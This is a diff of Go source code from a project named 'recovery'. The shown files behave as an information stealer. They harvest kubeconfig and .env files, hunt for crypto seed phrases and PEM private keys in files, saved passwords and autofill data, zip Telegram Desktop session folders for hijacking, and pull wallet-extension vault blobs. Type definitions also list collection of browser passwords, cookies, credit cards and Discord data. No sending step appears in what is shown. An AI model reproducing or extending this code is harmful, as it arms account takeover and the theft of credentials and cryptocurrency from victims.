||||
|
||||
path := filepath.Join(home, ".kube", "config")
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "kubernetes",
|
||||
Name: "config",
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
return results
|
||||
}
|
||||
|
||||
func scanEnvFiles(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
searchDirs := []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
|
||||
for _, dir := range searchDirs {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if name != ".env" && !strings.HasPrefix(name, ".env.") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(dir, name)
|
||||
info, err := e.Info()
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "env",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package scanner
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[scanner] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
// BIP39-valid word counts
|
||||
var validSeedLengths = map[int]bool{
|
||||
12: true, 15: true, 18: true, 21: true, 24: true,
|
||||
}
|
||||
|
||||
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
|
||||
|
||||
var seedScanFileExts = map[string]bool{
|
||||
".txt": true, ".md": true, ".csv": true, ".tsv": true,
|
||||
".log": true, ".rtf": true, ".json": true, ".xml": true,
|
||||
".env": true, ".cfg": true, ".conf": true, ".ini": true,
|
||||
".bak": true, ".old": true, ".tmp": true, ".note": true,
|
||||
".doc": true, ".nfo": true, ".asc": true, ".key": true,
|
||||
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
|
||||
}
|
||||
|
||||
// contentScanExts are the text formats read during the file listing scan to
|
||||
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
|
||||
var contentScanExts = seedScanFileExts
|
||||
|
||||
// privateKeyRe matches PEM private-key header lines. The optional algorithm
|
||||
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
|
||||
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
|
||||
|
||||
// contentFileTags reads a small text file once and returns the security tags
|
||||
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
|
||||
// contains a PEM private-key header. Returns nil when the file is not a
|
||||
// recognized text format or is too large to scan.
|
||||
func contentFileTags(path, ext string, size int64) []string {
|
||||
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var tags []string
|
||||
content := strings.ToLower(string(data))
|
||||
if looksLikeSeedLine(strings.Fields(content)) {
|
||||
tags = append(tags, "seed")
|
||||
} else {
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
|
||||
tags = append(tags, "seed")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
// PEM headers are case-sensitive, so match against the raw bytes.
|
||||
if privateKeyRe.Match(data) {
|
||||
tags = append(tags, "key")
|
||||
}
|
||||
return tags
|
||||
}
|
||||
|
||||
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
|
||||
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
|
||||
|
||||
// ScanSeeds searches collected data for BIP39 seed phrases.
|
||||
// Checks file contents, password values, and autofill values.
|
||||
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
|
||||
seen := make(map[string]bool)
|
||||
var results []types.SeedResult
|
||||
|
||||
// Scan files
|
||||
for _, f := range files {
|
||||
if f.Size > seedScanMaxFileSize || f.Size == 0 {
|
||||
continue
|
||||
}
|
||||
if !seedScanFileExts[f.Ext] {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(f.Path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, phrase := range extractSeedPhrases(string(data)) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "file",
|
||||
Path: f.Path,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan passwords
|
||||
for _, p := range passwords {
|
||||
for _, phrase := range extractSeedPhrases(p.Password) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "password",
|
||||
Path: p.URL,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, phrase := range extractSeedPhrases(p.Username) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "password",
|
||||
Path: p.URL,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan autofill values
|
||||
for _, a := range autofill {
|
||||
for _, phrase := range extractSeedPhrases(a.Value) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "autofill",
|
||||
Path: a.Name,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
|
||||
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
|
||||
func extractSeedPhrases(content string) []string {
|
||||
if len(content) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
content = strings.ToLower(content)
|
||||
var found []string
|
||||
|
||||
// Strategy 1: full content as one phrase (file contains only the seed)
|
||||
if phrase := tryExtractPhrase(content); phrase != "" {
|
||||
found = append(found, phrase)
|
||||
return found
|
||||
}
|
||||
|
||||
// Strategy 2: line-by-line (seed on one line)
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if phrase := tryExtractPhrase(line); phrase != "" {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
|
||||
if phrase := tryNumberedList(content); phrase != "" {
|
||||
if !containsPhrase(found, phrase) {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 4: comma-separated words
|
||||
if strings.Contains(content, ",") {
|
||||
normalized := strings.ReplaceAll(content, ",", " ")
|
||||
if phrase := tryExtractPhrase(normalized); phrase != "" {
|
||||
if !containsPhrase(found, phrase) {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return found
|
||||
}
|
||||
|
||||
// tryExtractPhrase checks if text contains a valid seed phrase
|
||||
func tryExtractPhrase(text string) string {
|
||||
words := strings.Fields(text)
|
||||
if isValidSeedPhrase(words) {
|
||||
return strings.Join(words, " ")
|
||||
}
|
||||
|
||||
// Try sliding window for phrases embedded in longer text
|
||||
for _, count := range []int{24, 21, 18, 15, 12} {
|
||||
if len(words) < count {
|
||||
continue
|
||||
}
|
||||
for i := 0; i <= len(words)-count; i++ {
|
||||
window := words[i : i+count]
|
||||
if isValidSeedPhrase(window) {
|
||||
return strings.Join(window, " ")
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// tryNumberedList extracts words from numbered list format:
|
||||
// "1. abandon\n2. ability\n3. able\n..."
|
||||
func tryNumberedList(content string) string {
|
||||
lines := strings.Split(content, "\n")
|
||||
var words []string
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
cleaned := numberedLineRe.ReplaceAllString(line, "")
|
||||
cleaned = strings.TrimSpace(cleaned)
|
||||
if cleaned == "" {
|
||||
continue
|
||||
}
|
||||
// Each numbered line should have exactly one word
|
||||
lineWords := strings.Fields(cleaned)
|
||||
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
|
||||
words = append(words, lineWords[0])
|
||||
}
|
||||
}
|
||||
if isValidSeedPhrase(words) {
|
||||
return strings.Join(words, " ")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func isValidSeedPhrase(words []string) bool {
|
||||
if !validSeedLengths[len(words)] {
|
||||
return false
|
||||
}
|
||||
for _, w := range words {
|
||||
if !isBIP39Word(w) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// isBIP39Word checks if a word matches BIP39 characteristics:
|
||||
// lowercase a-z only, 3-8 characters.
|
||||
func isBIP39Word(w string) bool {
|
||||
if len(w) < 3 || len(w) > 8 {
|
||||
return false
|
||||
}
|
||||
for _, c := range w {
|
||||
if c < 'a' || c > 'z' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func containsPhrase(phrases []string, phrase string) bool {
|
||||
for _, p := range phrases {
|
||||
if p == phrase {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type telegramPathConfig struct {
|
||||
name string
|
||||
subPath string
|
||||
base string
|
||||
}
|
||||
|
||||
var tdataSessionFiles = map[string]bool{
|
||||
"key_datas": true,
|
||||
"usertag": true,
|
||||
"settings0": true,
|
||||
"settings1": true,
|
||||
"configs": true,
|
||||
}
|
||||
|
||||
func isTdataSessionDir(name string) bool {
|
||||
if len(name) != 16 {
|
||||
return false
|
||||
}
|
||||
for _, c := range name {
|
||||
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func ScanTelegram() []types.TelegramResult {
|
||||
var results []types.TelegramResult
|
||||
|
||||
for _, tp := range getTelegramPaths() {
|
||||
base := resolveTelegramBase(tp.base)
|
||||
if base == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
tdataDir := filepath.Join(base, tp.subPath)
|
||||
if _, err := os.Stat(tdataDir); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
accounts := findTelegramAccounts(tdataDir)
|
||||
for _, acc := range accounts {
|
||||
results = append(results, types.TelegramResult{
|
||||
Account: acc.account,
|
||||
Path: acc.path,
|
||||
Files: acc.files,
|
||||
Size: acc.size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
type telegramAccount struct {
|
||||
account string
|
||||
path string
|
||||
files int
|
||||
size int64
|
||||
}
|
||||
|
||||
func findTelegramAccounts(tdataDir string) []telegramAccount {
|
||||
var accounts []telegramAccount
|
||||
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
hasKeyData := false
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && e.Name() == "key_datas" {
|
||||
hasKeyData = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if hasKeyData {
|
||||
files, size := countTdataFiles(tdataDir)
|
||||
if files > 0 {
|
||||
accounts = append(accounts, telegramAccount{
|
||||
account: "Main",
|
||||
path: tdataDir,
|
||||
files: files,
|
||||
size: size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if !isTdataSessionDir(name) {
|
||||
continue
|
||||
}
|
||||
sessionDir := filepath.Join(tdataDir, name)
|
||||
sessionEntries, err := os.ReadDir(sessionDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
hasData := false
|
||||
for _, se := range sessionEntries {
|
||||
if !se.IsDir() {
|
||||
hasData = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if hasData {
|
||||
files, size := countTdataSessionFiles(sessionDir)
|
||||
accounts = append(accounts, telegramAccount{
|
||||
account: name,
|
||||
path: sessionDir,
|
||||
files: files,
|
||||
size: size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return accounts
|
||||
}
|
||||
|
||||
func countTdataFiles(tdataDir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
}
|
||||
}
|
||||
|
||||
return count, totalSize
|
||||
}
|
||||
|
||||
func countTdataSessionFiles(dir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
return nil
|
||||
})
|
||||
|
||||
return count, totalSize
|
||||
}
|
||||
|
||||
func ZipTelegram(path string) ([]byte, error) {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !info.IsDir() {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
// If this is a session subfolder (hex name), just zip its contents directly
|
||||
if isTdataSessionDir(filepath.Base(path)) {
|
||||
return ziputil.ZipDirectory(path)
|
||||
}
|
||||
|
||||
// Otherwise this is the tdata root — zip key files + session subdirs
|
||||
return zipTdataRoot(path)
|
||||
}
|
||||
|
||||
func zipTdataRoot(tdataDir string) ([]byte, error) {
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var filesToZip []string
|
||||
|
||||
for _, e := range entries {
|
||||
name := e.Name()
|
||||
if e.IsDir() {
|
||||
if isTdataSessionDir(name) {
|
||||
sessionDir := filepath.Join(tdataDir, name)
|
||||
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if info.Size() < 50*1024*1024 {
|
||||
filesToZip = append(filesToZip, path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
} else {
|
||||
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
|
||||
info, _ := e.Info()
|
||||
if info != nil && info.Size() < 50*1024*1024 {
|
||||
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(filesToZip) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
return ziputil.ZipFiles(filesToZip, tdataDir)
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func getTelegramPaths() []telegramPathConfig {
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
|
||||
{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
|
||||
{"64Gram", "64Gram Desktop/tdata", "appdata"},
|
||||
}
|
||||
}
|
||||
// Linux
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
|
||||
{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
|
||||
{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
|
||||
{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
|
||||
{"64Gram", "64Gram Desktop/tdata", "home_data"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveTelegramBase(base string) string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch base {
|
||||
case "home":
|
||||
return home
|
||||
case "home_data":
|
||||
xdg := os.Getenv("XDG_DATA_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".local", "share")
|
||||
case "appdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "localappdata":
|
||||
return filepath.Join(home, ".local", "share")
|
||||
case "userprofile":
|
||||
return home
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import "os"
|
||||
|
||||
func getTelegramPaths() []telegramPathConfig {
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
|
||||
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
|
||||
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
|
||||
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
|
||||
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveTelegramBase(base string) string {
|
||||
switch base {
|
||||
case "appdata":
|
||||
return os.Getenv("APPDATA")
|
||||
case "localappdata":
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
case "userprofile":
|
||||
return os.Getenv("USERPROFILE")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
type walletConfig struct {
|
||||
Name string
|
||||
SubPath string
|
||||
Base string // "appdata", "localappdata", "userprofile", "home"
|
||||
}
|
||||
|
||||
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
|
||||
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
|
||||
|
||||
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
|
||||
const maxAddresses = 50
|
||||
|
||||
func ScanWallets() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
results = append(results, scanDesktopWallets()...)
|
||||
results = append(results, scanBrowserWalletData()...)
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDesktopWallets() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
for _, w := range getDesktopWalletPaths() {
|
||||
base := resolveWalletBase(w.Base)
|
||||
if base == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
dir := filepath.Join(base, w.SubPath)
|
||||
info, err := os.Stat(dir)
|
||||
if err != nil || !info.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
files, totalSize := countDirContents(dir)
|
||||
if files == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
wr := types.WalletResult{
|
||||
Name: w.Name,
|
||||
Type: "desktop",
|
||||
Path: dir,
|
||||
Files: files,
|
||||
Size: totalSize,
|
||||
}
|
||||
wr.Addresses = extractAddressesFromDir(dir)
|
||||
results = append(results, wr)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func scanBrowserWalletData() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
for _, cfg := range browser.Browsers {
|
||||
if cfg.IsFirefox {
|
||||
continue
|
||||
}
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
for _, profile := range profiles {
|
||||
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
|
||||
for extID, walletName := range knownWalletExtensions {
|
||||
extDataDir := filepath.Join(lesDir, extID)
|
||||
info, err := os.Stat(extDataDir)
|
||||
if err != nil || !info.IsDir() {
|
||||
continue
|
||||
}
|
||||
files, totalSize := countDirContents(extDataDir)
|
||||
if files == 0 {
|
||||
continue
|
||||
}
|
||||
wr := types.WalletResult{
|
||||
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
|
||||
Type: "extension",
|
||||
Path: extDataDir,
|
||||
Files: files,
|
||||
Size: totalSize,
|
||||
}
|
||||
wr.Addresses = extractAddressesFromDir(extDataDir)
|
||||
wr.VaultData = extractVaultData(extDataDir)
|
||||
results = append(results, wr)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func extractAddressesFromDir(dir string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var addrs []string
|
||||
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
|
||||
return nil
|
||||
}
|
||||
if len(addrs) >= maxAddresses {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
scanner := bufio.NewScanner(f)
|
||||
scanner.Buffer(make([]byte, 256*1024), 256*1024)
|
||||
for scanner.Scan() {
|
||||
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
|
||||
for _, m := range matches {
|
||||
addr := strings.ToLower(m)
|
||||
if !seen[addr] {
|
||||
seen[addr] = true
|
||||
addrs = append(addrs, m)
|
||||
if len(addrs) >= maxAddresses {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return addrs
|
||||
}
|
||||
|
||||
func extractVaultData(dir string) string {
|
||||
var vault string
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || vault != "" {
|
||||
return nil
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(path))
|
||||
if ext != ".ldb" && ext != ".log" {
|
||||
return nil
|
||||
}
|
||||
if info.Size() == 0 || info.Size() > maxFileReadSize {
|
||||
return nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
match := vaultRe.Find(data)
|
||||
if match != nil {
|
||||
vault = string(match)
|
||||
return filepath.SkipAll
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return vault
|
||||
}
|
||||
|
||||
func countDirContents(dir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
return nil
|
||||
})
|
||||
return count, totalSize
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func getDesktopWalletPaths() []walletConfig {
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []walletConfig{
|
||||
{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
|
||||
{"Exodus", "Exodus/exodus.wallet", "appdata"},
|
||||
{"Electrum", "Electrum/wallets", "home_dot"},
|
||||
{"Ethereum", "Ethereum/keystore", "home_dot"},
|
||||
{"Coinomi", "Coinomi/wallets", "appdata"},
|
||||
}
|
||||
}
|
||||
// Linux
|
||||
return []walletConfig{
|
||||
{"Atomic", "atomic/Local Storage/leveldb", "config"},
|
||||
{"Exodus", "Exodus/exodus.wallet", "config"},
|
||||
{"Electrum", ".electrum/wallets", "home"},
|
||||
{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
|
||||
{"Ethereum", ".ethereum/keystore", "home"},
|
||||
{"Monero", "Monero/wallets", "home"},
|
||||
{"Armory", ".armory", "home"},
|
||||
{"Bytecoin", ".bytecoin", "home"},
|
||||
{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveWalletBase(base string) string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch base {
|
||||
case "home", "userprofile":
|
||||
return home
|
||||
case "home_dot":
|
||||
return filepath.Join(home, ".")
|
||||
case "appdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "config":
|
||||
xdg := os.Getenv("XDG_CONFIG_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "localappdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".local", "share")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import "os"
|
||||
|
||||
func getDesktopWalletPaths() []walletConfig {
|
||||
return []walletConfig{
|
||||
{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
|
||||
{"Exodus", `Exodus\exodus.wallet`, "appdata"},
|
||||
{"Electrum", `Electrum\wallets`, "appdata"},
|
||||
{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
|
||||
{"Zcash", `Zcash`, "appdata"},
|
||||
{"Armory", `Armory`, "appdata"},
|
||||
{"Bytecoin", `bytecoin`, "appdata"},
|
||||
{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
|
||||
{"Ethereum", `Ethereum\keystore`, "appdata"},
|
||||
{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
|
||||
{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
|
||||
{"Monero", `Documents\Monero\wallets`, "userprofile"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveWalletBase(base string) string {
|
||||
switch base {
|
||||
case "appdata":
|
||||
return os.Getenv("APPDATA")
|
||||
case "localappdata":
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
case "userprofile":
|
||||
return os.Getenv("USERPROFILE")
|
||||
case "home":
|
||||
home, _ := os.UserHomeDir()
|
||||
return home
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
package types
|
||||
|
||||
type BrowserConfig struct {
|
||||
Name string
|
||||
UserDataPath string
|
||||
ProcessName string
|
||||
UseAppData bool
|
||||
IsFirefox bool
|
||||
FlatProfile bool
|
||||
}
|
||||
|
||||
type ProfileInfo struct {
|
||||
Name string
|
||||
Path string
|
||||
}
|
||||
|
||||
type CollectOptions struct {
|
||||
Browsers bool `json:"browsers"`
|
||||
Passwords bool `json:"passwords"`
|
||||
Cookies bool `json:"cookies"`
|
||||
Autofill bool `json:"autofill"`
|
||||
History bool `json:"history"`
|
||||
Bookmarks bool `json:"bookmarks"`
|
||||
CreditCards bool `json:"creditCards"`
|
||||
Discord bool `json:"discord"`
|
||||
Files bool `json:"files"`
|
||||
Wallets bool `json:"wallets"`
|
||||
Telegram bool `json:"telegram"`
|
||||
Keys bool `json:"keys"`
|
||||
Apps bool `json:"apps"`
|
||||
Gaming bool `json:"gaming"`
|
||||
VPNs bool `json:"vpns"`
|
||||
}
|
||||
|
||||
type ResolvedKeys struct {
|
||||
V10 []byte
|
||||
V20 []byte
|
||||
}
|
||||
|
||||
type PasswordResult struct {
|
||||
URL string `json:"url"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type CookieResult struct {
|
||||
Host string `json:"host"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Path string `json:"path"`
|
